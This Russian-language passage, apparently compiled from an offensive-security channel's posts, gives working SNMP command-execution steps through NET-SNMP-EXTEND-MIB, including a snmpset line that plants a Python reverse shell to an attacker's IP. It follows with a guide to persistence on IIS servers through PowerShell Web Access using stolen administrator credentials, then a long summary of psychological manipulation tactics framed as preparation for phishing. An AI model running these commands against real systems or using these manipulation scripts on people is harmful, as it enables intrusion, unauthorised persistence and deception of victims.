  Если без них никак — жёстко ограничить по ACL и по views: snmp-server community <string> RW 99 view SysView
• Мониторить:
• всплески UDP/161,
• неожиданные источники запросов (правила в SIEM).
• события CISCO-CONFIG-MAN-MIB::ccmHistoryEventConfigSource — признак изменений конфига помимо стандартных каналов.
• Включить логирование SNMPv3 и при необходимости задать: snmp-server packetsize 1500 чтобы уменьшить воздействие некоторых DoS-векторов.

Ссылки

• Cisco: How To Copy Configurations To and From Cisco Devices Using SNMP
• Cisco Security Advisory cisco-sa-snmp-uwBXfqww (CVE-2024-20373)

SNMP RCE

Если админ оставил SNMP по умолчанию и дал запись (rwcommunity), это можно использовать для удалённого выполнения команд на Linux-сервере.

Идея: злоумышленник злоупотребляет SNMP-расширениями (NET-SNMP-EXTEND-MIB), чтобы заставить агент выполнять команды при чтении OID.

Расширение сервиса дополнительными командами

Можно добавить новые команды в SNMP, создав строки в таблице nsExtendObjects.

Пример с snmpset:

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
  'nsExtendStatus."evilcommand"' = createAndGo \
  'nsExtendCommand."evilcommand"' = /bin/echo \
  'nsExtendArgs."evilcommand"' = 'hello world'

Здесь мы:

• создаём объект evilcommand,
• задаём команду /bin/echo,
• передаём аргументы hello world.

Инъекция команд для выполнения

Для запуска команды через NET-SNMP-EXTEND-MIB нужно:

• указывать абсолютный путь к бинарнику/скрипту;
• убедиться, что он существует и исполняем.

Проверить, что команда записалась, можно через snmpwalk:

snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects

В выводе будет:

• сама команда,
• её аргументы,
• путь к исполняемому файлу.

Запуск внедрённых команд

Особенность NET-SNMP-EXTEND-MIB — run-on-read():

Когда OID читают, команда выполняется.

То есть достаточно сделать snmpwalk по нужному объекту — и команда запустится.

Получение shell через SNMP

Есть готовый инструмент от mxrch:
https://github.com/mxrch/snmp-shell.git

Он:

• использует описанный механизм расширений;
• позволяет получить интерактивный shell через SNMP.

Установка зависимостей:

sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt

Альтернативный путь — сразу прописать reverse shell в SNMP:

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 \
  'nsExtendStatus."command10"' = createAndGo \
  'nsExtendCommand."command10"' = /usr/bin/python3.6 \
  'nsExtendArgs."command10"' = \
'-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'

Дальше:

• на атакующей машине слушаем порт 8999,
• делаем snmpwalk по нужному объекту,
• при чтении OID срабатывает reverse shell, и мы получаем интерактивный /bin/sh.

Ссылки

• https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/

Предположим, что вы счастливый обладатель пачки валидных учетных данных из логов стилера, а может быть, вы поломали хэшик или каким-то чудом нашли валидные креды администратора IIS-сервера на внешке или внутри периметра. Вам жуть как не хочется заниматься всяческим занудством вроде написания собственного вебшелла под Windows, старые методы закрепления стухли и палят ваше присутствие всяческими модными сертифицированными СЗИ, пивотинг не пивотит. А закрепиться крайне важно и нужно.

Подписывайся на AD_POHEQUE и ставь 👾

PSWA — это функция Windows Server, введенная в Windows Server 2012, которая выступает в роли шлюза, предоставляющего веб-консоль PowerShell. Эта консоль функционально схожа с консолью PowerShell, которую вы видите на локальной машине.

Ключевые функции PSWA включают:

• Доступ через браузер: PSWA работает с большинством современных веб-браузеров, предоставляя гибкость в выборе устройства для удалённого управления.
• Независимость от платформы: PSWA позволяет администраторам управлять серверами Windows с устройств, не работающих на Windows, включая мобильные телефоны и планшеты.
• Безопасная связь: PSWA использует HTTPS и требует аутентификации для всех подключений, что повышает безопасность удалённых задач управления.
• Настраиваемые правила авторизации: Администраторы могут настраивать детализированные правила авторизации в PSWA.
• Поддержка существующих сценариев PowerShell: Большинство команд и сценариев PowerShell, которые работают в традиционной консоли PowerShell, будут также работать в веб-основанной консоли PSWA.
• Интеграция с аутентификацией Windows: PSWA можно настроить для использования учётных записей Active Directory или локальных машин для аутентификации.
• Подключение к удалённым компьютерам: Пользователи могут подключаться к удалённым компьютерам, просто введя имя компьютера в настройках подключения PSWA, что позволяет управлять несколькими машинами с одного веб-интерфейса.

Что мы можем с этим сделать?

Конечно же, злоупотреблять легитимным функционалом!

От имени администратора устанавливаем PowerShell Web Access:

dism /online /enable-feature /featurename:WindowsPowerShellWebAccess /all
# или
Enable-WindowsOptionalFeature -Online -FeatureName WindowsPowerShellWebAccess

Блестяще! Мы установили необходимый пакет.

UPD:

Теперь установим наше веб-приложение PowerShell Web Access для удалённого администрирования:

Install-PswaWebApplication -UseTestCertificate

Add-PswaAuthorizationRule -UserName WIN-ASEF7J1UO3I\Administrator -ComputerName WIN-ASEF7J1UO3I -ConfigurationName 31337

При переходе по ссылке https://iis.target.network/pswa/en-US/logon.aspx (в реальной жизни замените ссылку на URL сервера, к которому вы имеете доступ, плюс полезно будет добавить строку в ваш словарик fuzz.txt для перебора директорий и файлов на веб-сервере), вы обнаружите приятное окно аутентификации в Windows PowerShell Web Access.

ЕСЛИ ЧИТАЕШЬ С МОБИЛЬНИКА — ЛИСТАЙ КАРУСЕЛЬ ВПРАВО!

В завершение могу сказать, что данный метод прекрасно подойдёт для закрепления на серверах IIS. И если у вас есть козырь в рукаве в виде валидных учетных данных администратора, то добро пожаловать в сеть ваших "Заказчиков".

Подписывайся на AD_POHEQUE и ставь 👾

Навык эксплуатации человеческого фактора это важный навык для многих профессионалов в информационной безопасности. Многие из нас легко набросают пару неплохих сценариев для проведения фишинговой рассылки для сотрудников Заказчика с очередным розыгрышем произвольного утюга или путевки на юг. Дурное дело, как правило, хитрым не назвать. Такого рода эмуляция социотехнической атаки часто использует тривиальные тактики для эксплуатации людской доверчивости и мне как профессионалу, которому небезразлична данная тема хотелось разобраться для себя в определениях, тактиках и методах их отражения. С год назад, на одном канале в тг я наткнулся на слитую книгу С. А. Зелинского "Манипулирование личностью и массами", полистал ее с телефона, послушал через синтезатор речи. Позже купил ее бумажную версию и прочел залпом за пару дней. В данной статье хочу поделиться выжимкой из первых трех глав данной книги, назовём его небольшим конспектом, который можно будет полистать при подготовке очередной рассылки или звонка потенциальному победителю в рамках проекта red team.

Внедрение цикла безопасной разработки и эффективного выстраивания процессов обеспечения информационной безопасности с каждым годом лишает атакующих прежних возможностей для получения первоначального доступа, но фишинг стабильно остается оптовым поставщиком шеллов в командные сервера.

Хочу заранее предупредить, что я призываю ознакомиться с данной тематикой исключительно в образовательных целях. Применять это со злым умыслом или для получения сомнительных преференций в любой сфере вашей жизни будет решением чреватым последствиями;)

Скинь ссылку на статью всем своим знакомым, которые общаются в подобной манере. Уверен у каждого найдется такой знакомый.

Подписывайся на AD_POHEQUE и ставь 👾

Что такое манипулирование?

Манипулирование - это воздействие одного человека на другого с целью подчинения воле первого. Оно является неотъемлемой частью нашей жизни, и взаимоотношения в обществе часто невозможны без какой-либо формы манипуляции. Это воздействие может быть проведено как сознательно, так и на уровне бессознательных действий, а его методы могут быть скрыты и незаметны.

Психика современного человека проявляет больше агрессии из-за недостатка реализации физической энергии и подверженности стрессу, что делает людей более уязвимыми к манипуляциям. Восприимчивость к манипуляции у индивида чаще всего возникает в тот момент, когда он находится наиболее уязвимым к внешнему влиянию, когда его внезапно достают из комфортной среды и создают фиктивный стресс. Манипулятор намерено создает фиктивную ситуацию, целью которой является вызвать в оппоненте состояние невроза. Именно в состоянии невроза любой из индивидов переходит в состояние, в котором он уязвим к манипуляции его сознанием. Одним из распространенных методов манипуляции является провокация на базовые инстинкты, такие как страх или зависимость. После этого манипулятор предлагает "спасение" или "выход" из созданной им ситуации, что делает человека благодарным и более податливым к его влиянию.

• Манипуляции могут быть направлены как против отдельного индивида, так и против масс.
• Манипулирование не связано с применением грубой силы или прямыми запретами.
• Манипулирование психикой включает неосознаваемые методы, особенно при обычных взаимодействиях между людьми. Это связано с общей теорией выживания видов и стремлением к власти и могуществу. Власть и могущество воспринимаются как способ выживания.
• Манипуляции в семейной жизни и личных отношениях могут быть особенно тонкими и незаметными. Исследователи отмечают, что манипулирование в таких случаях не связано с любовью или абстрактными понятиями, а является реальными манипуляциями, направленными на подчинение через психические воздействия.

Чтобы защитить себя от манипуляций, важно разграничивать воздействие манипулятора и не давать ему полного контроля над ситуацией. Разбивание вопросов на части ограничивает рамки манипуляции и может помочь раскрыть замысел манипулятора. Сложность манипулятивных действий может привести к ошибкам со стороны манипулятора, и это дает возможность раскрыть его замысел и предотвратить обман. Однако стоит помнить, что манипуляторы всегда совершенствуют свои техники и придумывают новые методы обмана, поскольку это для них образ жизни. Понимание механизмов манипуляции и осознание возможных уловок позволит нам более эффективно защищаться и защищать других от нежелательного влияния.

С чем взаимодействует манипулятор?

Сущности психики человека, описанные в теории Фрейда, включают "Я", "Оно" и "Сверх-Я". Каждая из этих сущностей играет свою роль в формировании личности и поведения человека.

• "Я" представляет собой сознательную часть психики и отвечает за осознанные мысли, самосознание, рациональное поведение и принятие решений. "Я" является связующим звеном между индивидуальным сознанием и внешним миром. Она старается согласовать потребности "Оно" с социокультурными ограничениями, которые устанавливаются "Сверх-Я".
• "Оно" - это бессознательное, подсознание, которое содержит инстинктивные побуждения, неосознаваемые желания, эмоции и агрессию. Оно стремится удовлетворить свои потребности безотлагательно и не учитывает общественные нормы и последствия своих действий.
• "Сверх-Я" формируется в детстве и является результатом взаимодействия с родителями и окружающей средой. Это внутренний голос, содержащий моральные стандарты, запреты и нормы, которые контролируют поведение и самооценку человека. "Сверх-Я" служит инстанцией цензуры, контролирующей доступ к некоторым аспектам психики.

Какие имеются стратегии для манипулирования.

Манипуляторы используют понимание этих сущностей для воздействия на психику индивидов и введения их в состояние невроза. Вот несколько способов, которыми манипуляторы могут это делать:

1. Усиление конфликтов между "Я" и "Оно": Манипуляторы могут активизировать конфликт между осознанными желаниями и инстинктивными побуждениями. Например, они могут подавать сигналы, что удовлетворение определенного желания приведет к неприятным последствиям или нарушению социокультурных норм, что создает внутреннее напряжение.
2. Использование комплексов и травм: Манипуляторы могут использовать знание о детских комплексах, таких как Эдипов комплекс, и давних травмах, чтобы обмануть "Сверх-Я" и привести "Я" и "Оно" в конфликт, что может вызвать невротические состояния.
3. Создание ложных убеждений и моральных стандартов: Манипуляторы могут внушить ложные убеждения и моральные стандарты, чтобы контролировать поведение и мышление индивида. Например, они могут убеждать человека, что его естественные желания или потребности являются аморальными или неприемлемыми.
4. Привлечение страхов и тревог: Манипуляторы могут использовать страхи и тревоги индивида, чтобы контролировать его решения и действия. Создавая угрозы или заставляя человека беспокоиться о возможных негативных последствиях, манипуляторы могут контролировать его поведение.
5. Изоляция и контроль информации: Манипуляторы могут искусно изолировать индивида от информации или поддержки, которая противоречит их интересам, чтобы ограничить его способность критически мыслить и принимать независимые решения.

Манипуляторы умело используют знание структуры психики и механизмов ее функционирования, чтобы ввести человека в состояние невроза, ослабив его сознание и цензуру психики. Путем создания внутренних конфликтов, усиления страхов и тревог, а также внушения ложных убеждений они добиваются контроля над поведением и мышлением другого человека. Осознание этих методов и развитие критического мышления позволяют защититься от манипуляций и сохранить психическое здоровье.

31 техника манипуляции

Ложное переспрашивание (или обманчивые уточнения) - это манипулятивная тактика, при которой манипулятор делает вид, что хочет лучше понять вашу точку зрения или уточнить что-то для себя. Он переспрашивает вас, но затем повторяет только часть ваших слов, добавляя свои толкования или изменяя смысл вашего сказанного в свою пользу.

Пример диалога между Алисой и Бобом, где Боб использует ложное переспрашивание:

• Алиса: Я думаю, что нам стоит разделить ответственность по проекту поровну, так как каждый из нас вносит равный вклад.
• Боб: Так, вы хотите, чтобы каждый вносил равный вклад в проект, верно?
• Алиса: Да, и я считаю, что это будет справедливо для нас обоих.
• Боб: Я понимаю, вы хотите, чтобы всё было справедливо. Но вот что я думаю: я уделял проекту больше времени, поэтому было бы логично, если я получу большую долю заслуг за успех проекта.
• Алиса: Хорошо, но мы обговаривали равномерное распределение ответственности изначально. Вы уверены, что это справедливо?
• Боб: Конечно, я уверен. Мы можем обсудить это позже, давайте пока перейдем
  к другой части проекта.

В данном примере, Боб использует ложное переспрашивание, чтобы изменить смысл сказанного Алисой. Он делает вид, что понимает её желание равномерного распределения ответственности, но затем предлагает свою точку зрения, призывая к неравному распределению. При этом он уклоняется от дальнейшего обсуждения и старается перейти к другой теме, чтобы избежать дополнительного противостояния.

Нарочитая поспешность, или перескакивание тем - это манипулятивная тактика, при которой манипулятор спешно переходит от одной темы к другой после предоставления определенной информации. Это делается с целью пропустить информацию мимо критического мышления и обойти внутренние защитные механизмы слушателя. Переход на новую тему может привести к тому, что слушатель не успевает задать вопросы или протестовать, и часть информации остается в подсознании, что позволяет манипулятору воспользоваться ею в будущем.

Пример диалога между Алисой и Бобом, где Боб использует нарочитую поспешность:

• Алиса: Боб, я хочу обсудить наше совместное участие в проекте. Мы должны четко определить, кто будет отвечать за какую часть работы, чтобы избежать конфликтов.
• Боб: Да, да, конечно, это важно. Но знаешь, вчера я случайно встретил Джона в кафе, и у него такой интересный план на выходные. Он сказал, что можем присоединиться, и это может быть здорово! Что ты думаешь об этом?
• Алиса: Ну, да, конечно, но давай вернемся к обсуждению проекта. Я хочу узнать твои мысли о распределении ответственности.
• Боб: О да, проект, конечно. Я думаю, что мы должны просто делить работу поровну, и все будет хорошо.
• Алиса: Хорошо, это звучит справедливо. Но давай обсудим детали, чтобы у каждого из нас была четкая задача.
• Боб: Конечно, обсудим. Но знаешь, мне пришло в голову такое интересное идея для улучшения нашего проекта. Надо бы обсудить это позже!

В данном примере, Боб использует нарочитую поспешность и перескакивает с темы на тему, чтобы избежать серьезного обсуждения организации проекта. Он отвлекает Алису на другие темы и старается уклониться от конкретных ответов или детальных планов, что может помешать четкому распределению ответственности и обеспечить его преимущество в долгосрочной перспективе.

Стремление показать свое безразличие, или псевдоневнимательность - это манипулятивная тактика, при которой манипулятор притворяется, будто не интересуется тем, о чем говорит собеседник, и старается безразлично реагировать на получаемую информацию. Такое поведение побуждает реципиента (человека, на которого направлена манипуляция) стремиться доказать свою значимость и правоту перед манипулятором, стараясь привлечь его внимание и получить признание.

Пример диалога между Алисой и Бобом, где Боб использует стремление показать свое безразличие:

• Алиса: Боб, я действительно хотела бы поговорить с тобой о наших планах на выходные. У меня есть несколько идей, и я хочу услышать твое мнение.
• Боб: (отвлеченно) Да, конечно, давай поговорим.
• Алиса: Я думаю, нам стоит пойти на природу, в парк, провести время на свежем воздухе. Что ты об этом думаешь?
• Боб: (прерывая) В парк? Да, это может быть неплохо.
• Алиса: Хорошо, но у меня также есть другая идея - пойти на выставку искусств. Я слышала, что там очень интересные экспонаты.
• Боб: (невозмутимо) Ах, выставка... Может быть.
• Алиса: Так что ты думаешь? Парк или выставка?
• Боб: (по-прежнему безразлично) Мне все равно, как хочешь.
• Алиса: (чувствуя стремление получить его внимание) Хорошо, давай выберем выставку. Я уверена, что тебе понравится.

В данном примере, Боб использует стремление показать свое безразличие к планам Алисы на выходные. Он отвечает невозмутимо и отстраненно, чтобы вызвать у Алисы желание убедить его и заставить проявить интерес к ее предложениям. Это позволяет Бобу ловко управлять информацией и получать новые факты и детали от Алисы, которые могут быть ему полезны в будущем. Алиса, в свою очередь, старается доказать свою правоту и выбирает выставку, надеясь привлечь внимание Боба и получить признание за свои предложения.

Ложная ущербность, или мнимая слабость — это манипулятивная тактика, при которой манипулятор стремится представить себя слабым, беззащитным или нуждающимся в помощи, чтобы вызвать у других сочувствие, сострадание или желание оказать поддержку. Это делается с целью добиться своих интересов, получить помощь или заботу от окружающих.

Пример диалога между Алисой и Бобом, где Боб использует ложную ущербность:

• Алиса: Боб, я слышала, что у тебя были трудности на работе. Все в порядке? Может, мне чем-то помочь?
• Боб: (со слабым голосом) Ну, да, сейчас действительно нелегкая ситуация. У меня много работы, и я не знаю, как справиться со всем этим.
• Алиса: Не переживай, я здесь, чтобы поддержать тебя. Расскажи, что именно тебе требуется, и мы вместе найдем решение.
• Боб: (продолжая изображать ущербность) В общем, у меня так много дел, что я просто не знаю, как все успеть. И у меня еще проблемы с здоровьем, поэтому мне очень сложно.
• Алиса: (сочувственно) Боб, я понимаю, что это сложно, но ты не одинок. Мы с тобой, и я готова помочь тебе во всем, что смогу.
• Боб: (усиливая манипуляцию) Ты такая добрая. Я не знаю, что бы я делал без тебя. Мне действительно очень тяжело.
• Алиса: Не волнуйся, мы справимся вместе. Давай сядем и обсудим все детали, я помогу тебе разобраться.

В данном примере, Боб использует ложную ущербность, чтобы вызвать сочувствие и поддержку у Алисы. Он представляет себя как слабого и беззащитного, упоминая о трудностях на работе и проблемах со здоровьем. Это заставляет Алису проявить заботу и готовность помочь ему, что может быть использовано Бобом для достижения своих целей или получения внимания и поддержки, которые он ищет. Алиса, поддавшись манипуляции, старается оказать помощь Бобу и проявляет свое сочувствие, вместо того чтобы быть критичной и обоснованной в своих реакциях.

Боль души, или помощь ближнему — это манипулятивная тактика, при которой манипулятор использует бессознательное желание помогать нуждающимся и оказывать поддержку больным и убогим. Он представляет себя как благотворителя и просит деньги или другие виды поддержки у своей жертвы, притворяясь нуждающимся, хотя на самом деле он сам обладает достаточными средствами и ресурсами.

Пример диалога между Алисой и Бобом, где Боб использует боль души:

• Алиса: Боб, ты в порядке? Ты выглядишь усталым.
• Боб: (с грустным выражением) Да, мне действительно не легко в последнее время. У меня проблемы со здоровьем, и я чувствую себя таким уязвимым.
• Алиса: О, мне так жаль слышать! Чем я могу помочь? Ты знаешь, что всегда можешь на меня рассчитывать.
• Боб: (печально) На самом деле, я не знаю, как справиться со всем этим. Лечение стоит очень дорого, и я не могу позволить себе все необходимое.
• Алиса: Не переживай, Боб. У меня есть немного денег, которые я могу одолжить тебе. Мы ведь друзья, и я хочу помочь.
• Боб: (с видом благодарности) Ты такая добрая и щедрая. Я не знаю, как я бы справился без тебя. Действительно, сейчас мне трудно, и твоя поддержка так много значит для меня.
• Алиса: Ничего страшного, Боб. Важно, чтобы ты скоро почувствовал себя лучше. Если тебе еще что-то понадобится, просто скажи.

В этом примере, Боб использует манипулятивную тактику боль души, чтобы получить деньги от Алисы. Он представляет себя как слабого и нуждающегося в помощи, создавая у Алисы чувство сочувствия и желание оказать поддержку. Алиса, увлекаемая манипуляцией и своим желанием помочь, готова одолжить деньги, не подозревая, что Боб обманывает ее и на самом деле обладает достаточными ресурсами для решения своих проблем.

Ложная влюбленность, или благодарность обмана — это манипулятивная тактика, при которой манипулятор симулирует сильные чувства, такие как влюбленность, чрезмерное уважение, почитание и прочие, перед другим индивидом (манипулируемым). Подобное поведение создает у манипулируемого чувство особого значения и важности для манипулятора, что в дальнейшем побуждает его проявить благодарность и возмещение "доброты", которую он воспринимает от манипулятора.

Пример диалога между Алисой и Бобом, где Боб использует ложную влюбленность:

• Алиса: Я заметила, что ты последнее время так много времени проводишь со мной. Все ли в порядке, Боб?
• Боб: (с восторгом) Алиса, я не могу скрыть свои чувства. Ты просто потрясающая! Каждую минуту, проведенную с тобой, я чувствую, как мое сердце замирает.
• Алиса: (смущенно) Боб, это так неожиданно... Я не знаю, что сказать...
• Боб: Пожалуйста, не думай, что я хочу тебя смутить. Я просто не могу скрыть своих чувств. Ты для меня так особенна.
• Алиса: (чувствуя себя особенной) Но почему именно я?
• Боб: Потому что ты уникальная, Алиса. Я никогда не встречал такую интересную, добрую и восхитительную девушку, как ты.
• Алиса: (смущенно улыбается) Спасибо, Боб. Это так мило с твоей стороны.

Через подобные слова и выражения, Боб создает у Алисы ощущение особого отношения и важности для него. Алиса, под впечатлением ложных чувств Боба, может почувствовать благодарность и желание откликнуться на такие заявления. Впоследствии, если Боб обратится к Алисе с какой-либо просьбой или применит другие манипулятивные тактики, Алиса, исходя из своего чувства благодарности и желания ответить взаимностью, может быть более склонна дать согласие, не подозревая, что ее чувства и внимание были вызваны ложной влюбленностью.

Яростный напор, или непомерный гнев — это манипулятивная тактика, при которой манипулятор использует немотивированный или мнимый гнев в отношении манипулируемого. Манипулятор выражает ярость и агрессию, не имея особых претензий к манипулируемому, но с целью добиться исполнения своих желаний.

Пример диалога между Алисой и Бобом, где Боб использует яростный напор:

• Алиса: Боб, извини, что я отказываюсь помочь тебе с твоим проектом. Я сейчас очень занята своей работой.
• Боб: (выражая ярость) Как ты можешь отказать мне?! Я всегда помогаю тебе, а ты не можешь сделать мне эту маленькую услугу?
• Алиса: (испуганно) Но Боб, я не могу просто так бросить свою работу. Может быть в другой раз?
• Боб: (продолжая выражать ярость) Другой раз?! Мне нужна помощь прямо сейчас, и ты меня подводишь!
• Алиса: (чувствуя вину) Хорошо, хорошо. Я сделаю все, что могу, чтобы помочь тебе.

В данном примере, Боб использует яростный напор, не имея реальных причин для гнева. Его целью является добиться согласия Алисы помочь ему с проектом, даже если это приведет к откладыванию ее собственных дел. Алиса, испытывая вину и желая успокоить Боба, соглашается помочь, даже несмотря на свои обязанности и расписание.

В результате манипуляции, Боб добивается своей цели, заставляя Алису отступить от своих планов ради его желания. Таким образом, яростный напор манипулятора отвлекает манипулируемого от осознания реальных мотивов манипуляции, и его первоочередной реакцией становится попытка успокоить манипулятора, не обращая внимание на собственные интересы.

Быстрый темп, или неоправданная спешка — это манипулятивная тактика, при которой манипулятор усиленно придает разговору или процессу навязанную спешку, чтобы протолкнуть свои идеи или получить желаемое согласие от манипулируемого. Манипулятор может использовать отсутствие времени или срочные обстоятельства, чтобы заставить манипулируемого принимать решения без должного обдумывания.

Пример диалога между Алисой и Бобом, где Боб использует быстрый темп:

• Алиса: Боб, давай обсудим наши планы на следующую неделю. У меня есть несколько идей по проекту, которые я хотела бы обсудить.
• Боб: (с неожиданной спешкой) Извини, Алиса, у меня сейчас абсолютно нет времени для долгих обсуждений. Но ты можешь просто сказать мне свои идеи, и я сразу приму решение.
• Алиса: (несколько смущенно) Ну... хорошо, я думаю, что нам следует сосредоточиться на рекламной кампании и улучшении продукта.
• Боб: (быстро перебивая) Отлично! Мне нравятся оба варианта. Так что давай приступим к работе прямо сейчас!
• Алиса: (чувствуя давление) Но, Боб, у нас есть время до следующей недели, чтобы обсудить все детали и создать план действий.
• Боб: (настаивающе) Я знаю, что у нас есть время, но я хочу начать прямо сейчас, чтобы все успеть сделать.

В данном примере, Боб использует неоправданную спешку, чтобы заставить Алису согласиться с его идеями и начать работу немедленно. Он не дает ей достаточно времени на обдумывание и обсуждение планов, что создает давление и чувство необходимости соглашаться с его предложениями.

Быстрый темп манипуляции лишает манипулируемого возможности внимательно обдумать свои действия и решения, что делает его более уязвимым для манипулятора. В итоге, под давлением спешки, Алиса может согласиться с идеями Боба, которые она не обдумала достаточно, и таким образом, Боб добивается желаемого результата.

Излишняя подозрительность, или вызывание вынужденных оправданий - это манипулятивная тактика, при которой манипулятор разыгрывает подозрительность в отношении манипулируемого вопроса или ситуации. Манипулирование подозрительностью заставляет манипулируемого чувствовать необходимость оправдываться и давать разъяснения, что делает его более уязвимым и готовым уступить воле манипулятора.

Пример диалога между Алисой и Бобом, где Боб использует излишнюю подозрительность:

• Алиса: Боб, я думаю, что наше сотрудничество с компанией XYZ было бы отличным шагом для нашего бизнеса. Они имеют большой опыт в нашей отрасли и могут помочь нам расширить рынок.
• Боб: (разыгрывает подозрительность) Ты уверена, что они искренне заинтересованы в нашем успехе? Мне кажется, у них может быть своя скрытая мотивация.
• Алиса: (чувствует необходимость оправдаться) Да, я провела дополнительные исследования, и мне кажется, что они действительно заинтересованы в нашем успехе. Мы можем заключить выгодное соглашение, которое поможет нам развиваться.
• Боб: (высказывает дополнительные сомнения) Я все равно ощущаю какую-то тревогу по поводу этого партнерства. Может быть, нам стоит посмотреть на другие варианты?
• Алиса: (стремится унять подозрения Боба) Мы можем исследовать другие варианты, но я не вижу никаких рисков в сотрудничестве с XYZ. Они уже сотрудничали с несколькими успешными компаниями в нашей отрасли.

В данном примере, Боб использует излишнюю подозрительность относительно партнерства с компанией XYZ, чтобы заставить Алису оправдываться и давать разъяснения. Его целью может быть создание сомнений у Алисы относительно предложенного партнерства и добиться того, чтобы она отказалась от этой идеи.

Излишняя подозрительность создает у манипулируемого чувство неуверенности и потребности оправдаться перед манипулятором, что делает его более склонным согласиться с манипулятором или уступить его требованиям. Это делает манипулируемого более уязвимым и подверженным воздействию манипулятора.

Мнимая усталость, или игра в утешение - это тактика манипуляции, при которой манипулятор выдает себя уставшим и неспособным продолжать дискуссию или рассматривать аргументы манипулируемого. Это создает впечатление, что манипулятор не желает продолжать обсуждение и ищет понимания и поддержки, что заставляет манипулируемого согласиться с его предложениями или идеями, чтобы не утомлять его.

Пример диалога между Алисой и Бобом, где Боб использует мнимую усталость:

• Алиса: Боб, давай обсудим план нашего проекта. У меня есть несколько идей, которые могут значительно улучшить нашу стратегию.
• Боб: (разыгрывает мнимую усталость) Ох, Алиса, у меня сегодня такой длинный день, я уже не в состоянии обсуждать что-либо. Думаю, что все идеи будут хороши, просто продолжай в том же духе.
• Алиса: (чувствует желание утешить Боба) Хорошо, если у тебя такой напряженный день, можем обсудить все завтра. Но я уверена, что ты бы оценил мои предложения.
• Боб: (играет в утешение) Конечно, Алиса, я знаю, что у тебя всегда хорошие идеи. Просто сейчас я не могу сосредотачиваться. Давай обсудим это завтра.

В данном примере, Боб использует мнимую усталость, чтобы избежать обсуждения идеи Алисы и попросить ее продолжать в том же направлении. Его целью может быть сократить обсуждение и заставить Алису принять его позицию, чтобы он не чувствовал необходимости рассматривать ее аргументы и возражения.

Мнимая усталость заставляет манипулируемого соглашаться с манипулятором и демонстрировать понимание и поддержку, чтобы не утомлять его дополнительными вопросами или возражениями. Это делает манипулирование более эффективным и позволяет манипулятору добиваться своих целей, используя психологическую слабость манипулируемого.

Авторитетность манипулятора, или обман власти, это вид манипуляции, при котором манипулятор использует свой статус, звание, или титул в определенной области, чтобы повлиять на другого человека. Манипулируемый подчиняется мнению и указаниям манипулятора, так как поклоняется его авторитету и опыту в данной области, даже если сам манипулятор на самом деле не обладает реальными знаниями или опытом.

Пример диалога между Алисой и Бобом, где Боб использует свой авторитет:

• Алиса: Боб, давай обсудим план нашего нового проекта. Я думаю, что нужно сделать несколько корректировок в нашей стратегии.
• Боб: (используя свой авторитет) Я, как опытный профессионал в этой области, уже давно занимаюсь подобными проектами. Моя стратегия всегда приводит к успеху, и я уверен, что она будет работать и в этом случае.
• Алиса: (чувствует, что Боб знает лучше) Конечно, Боб, если ты считаешь, что твоя стратегия лучшая, давай попробуем ее.

В данном примере, Боб использует свой авторитет в данной области, чтобы убедить Алису следовать его плану. Алиса уступает и подчиняется мнению Боба, потому что считает его авторитетом в данной сфере.

Манипулятор может легко использовать мнимый авторитет, чтобы повлиять на другого человека, особенно если тот испытывает недостаток уверенности в своих знаниях или опыте в данной области. Манипулирование авторитетом может быть эффективным способом заставить других принимать решения или действовать в соответствии с желаниями манипулятора, даже если они не уверены в правильности таких решений.

Оказанная любезность, или плата за помощь, это тип манипуляции, когда манипулятор предлагает совет или помощь реципиенту, прикрывая свои истинные мотивы дружелюбием и добротой. Он представляется как благожелательный советчик, но на самом деле его целью является получение выгоды или управление решением другого человека.

Пример диалога между Алисой и Бобом, где Боб использует оказанную любезность:

• Алиса: Боб, я не уверена, какой подарок выбрать для моего друга на его день рождения.
• Боб: (с улыбкой) О, я могу помочь тебе с этим! Я знаю, что твой друг интересуется искусством, и я случайно знаю художника, у которого есть отличные картины. Я могу организовать для тебя встречу с ним, и ты сможешь выбрать подходящий подарок.
• Алиса: (признательно) О, Боб, это так мило с твоей стороны! Большое спасибо за помощь, я не знаю, что бы я делала без тебя.

В данном примере, Боб предлагает помощь в выборе подарка для друга Алисы, но на самом деле его целью является продвижение работ художника, с которым у него связи. Он прикрывает свои мотивы дружелюбием и заботой о Алисе, чтобы получить выгоду.

Манипулятор может использовать оказанную любезность, чтобы получить контроль над решением другого человека или вывести его на нужный ему путь. Реципиент, чувствуя благодарность за помощь, может не осознавать, что его решение было управляемо или выгодно манипулятору. Это позволяет манипулятору добиться своих целей, скрыто манипулируя реципиентом через оказанную помощь и дружелюбие.

Сопротивление, или разыгрываемый протест, представляет собой манипуляцию, при которой манипулятор активно стимулирует или разжигает внутреннее противодействие или чувство недовольства у реципиента, чтобы тот стал более стремиться к достижению цели манипулятора. Манипулятор создает впечатление, что что-то запрещено или недоступно, что влечет за собой усилия со стороны реципиента для преодоления этого препятствия и удовлетворения своих желаний.

Пример диалога между Алисой и Бобом, где Боб использует сопротивление:

• Алиса: Боб, я думаю о том, чтобы поступить на курсы по изучению иностранных языков, но они такие дорогие.
• Боб: Да, они действительно дорогие, и у нас, к сожалению, нет возможности сразу оплатить такие курсы. Но знаешь, учить иностранный язык - это такое большое преимущество, и ты быстро обгонишь всех на работе, если научишься свободно общаться на других языках. Наверняка есть какие-то другие пути, чтобы получить скидку или финансовую помощь.
• Алиса: (задумчиво) Да, ты прав. Возможно, я могу найти какие-то дополнительные источники финансирования или скидки. И это действительно будет полезно для моей карьеры.

В данном примере, Боб активно разыгрывает сопротивление к идее о поступлении на курсы иностранных языков из-за высокой стоимости. Он подчеркивает трудность и недоступность, но также подталкивает Алису искать альтернативные пути для решения проблемы. Его слова создают впечатление, что это сложная задача, но и тотчас же предоставляют Алисе мотивацию и стремление преодолеть препятствие и достичь своей цели.

Таким образом, манипулятор может использовать сопротивление для стимулирования активности и стремления реципиента в определенном направлении, что упрощает достижение целей манипулятора.

